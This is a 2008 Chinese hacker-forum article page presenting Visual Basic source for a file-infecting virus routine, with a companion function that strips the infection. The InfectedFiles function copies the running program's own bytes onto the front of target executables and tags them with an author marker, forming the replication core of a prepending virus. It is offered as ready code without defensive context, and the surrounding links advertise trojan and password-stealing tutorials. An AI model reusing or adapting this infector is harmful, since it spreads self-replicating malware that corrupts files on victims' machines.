文章 | 入侵攻击 | 安全防御 | 操作系统 | 建站技术 | 脚本编程 | 路由交换 | 灾难恢复 | 新闻资讯 | 安全公告   
下载 | 漏洞扫描 | 加密破解 | 入侵攻击 | 后门木马 | 溢出程序 | 综合工具 | 安全防护 | 原创发布 | 动画教程 
论坛 | 配服务器 | 黑客情感 | 免费资源 | 爆笑贴图 | 灌水无罪 | 会员照片 | 在线服务 | 站长博客 | 网站首页 
 您现在的位置: 华夏黑客联盟 >> 攻防技术 >> 脚本编程 >> 文章正文  

倒霉蛋儿写的VB感染函数代码

www.hxhack.com 阅读: 时间:2008-8-28 7:40:47 整理:华夏黑盟
------------------------------------------------------------------

 倒霉蛋儿写的VB感染函数代码
Private Function InfectedFiles(ByVal FilePath As String) As Boolean
Dim MyArray() As Byte
Dim FileArray() As Byte
If FileLen(FilePath) > 4194304 Then Exit Function '大于4mb不感染

Open MyName For Binary Access Read As #1 '读取自身文件内容
ReDim MyArray(FileLen(MyName) - 1)
Get #1, , MyArray
Close #1

Open FilePath For Binary Access Read As #1 '读取要感染的问件内容
ReDim FileArray(FileLen(FilePath) - 1)
Get #1, , FileArray
Close #1

If InStr(FileArray, "BY:倒霉蛋儿") > 0 Then '判断是否被感染
Exit Function
Else
Open FilePath For Binary Access Write As #1 '把自身和感染文件与配置信息一起写到一个新文件去
Put #1, , MyArray
Put #1, , FileArray
Put #1, , "BY:倒霉蛋儿" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1
Close #1
InfectedFiles = True
End If
End Function

Private Function KillVirus(ByVal VirusPath As String) As Boolean
Dim infected() As Byte
Dim vbArray() As Byte
Dim SplitArray() As String
Dim SplitINI() As String
On Error Resume Next
If FileLen(VirusPath) > 4194304 Then Exit Function '大于4mb不感染
Open VirusPath For Binary Access Read As #1 '读取自身文件内容
ReDim infected(FileLen(VirusPath) - 1)
Get #1, , infected
Close #1
If InStr(StrConv(infected, vbUnicode), "BY:倒霉蛋儿") > 0 Then '判断是否被感染
SplitArray = Split(StrConv(infected, vbUnicode), "BY:倒霉蛋儿")
SplitINI = Split(SplitArray(UBound(SplitArray)), ",")
ReDim vbArray(SplitINI(1) - 1)
Open VirusPath For Binary As #1
Get #1, SplitINI(0) + 1, vbArray
Close #1
Open VirusPath For Binary As #1
Put #1, , vbArray
Close #1
KillVirus = True
End If
End Function

 

   -------------------------------------------------------------------------------------------
  • 上一篇文章:

  • 下一篇文章: 没有了
  •    -------------------------------------------------------------------------------------------
    用户名:
    Email:
    评论内容:
     
      精品推荐

     十招教你学会破解(学黑客
     C语言与C++有什么区别吗
     VB病毒编写——初学编程
     世界编程大赛第一名写的
     绝版破解软件教程就不信
     如何编写木马病毒
     木马是如何编写的
     隐藏cmd命令行运行
     怎样学好编程C语言
     学ASP只需一小时!
     如何提高自己的编程能力
     初学者天地--用C语言写的
     Visual C++编程窃取QQ密
     四个经典的vbs脚本整理
     编程语言初步知识(供菜
     跟我学做记事本
     一个程序员写的求爱程序
     什么是vb,vb是什么意思
     阿拉QQ大盗盗号原理分析
     成为编程高手的二十二条
     看黑客编写强力蓝屏炸弹
     C语言基础教程合集(整理
     C语言之精华总结
     学C++时要注意的
     [VB]猎取当前QQ聊天内容


    设为首页 | 软件发布 | 联系方式 | 友情链接 | 关于我们 | 本站声明 | 免责条款 | 网站留言
    Copyright © 2004-2007 Www.Hxhack.Com
    版本:华夏黑客联盟 Email:hxhack.com@163.com
    中国·广东 请使用IE6.0版本, 分辩率1024×768进行浏览
    版权所有 任意抄袭 注意完整
    粤ICP备06123842号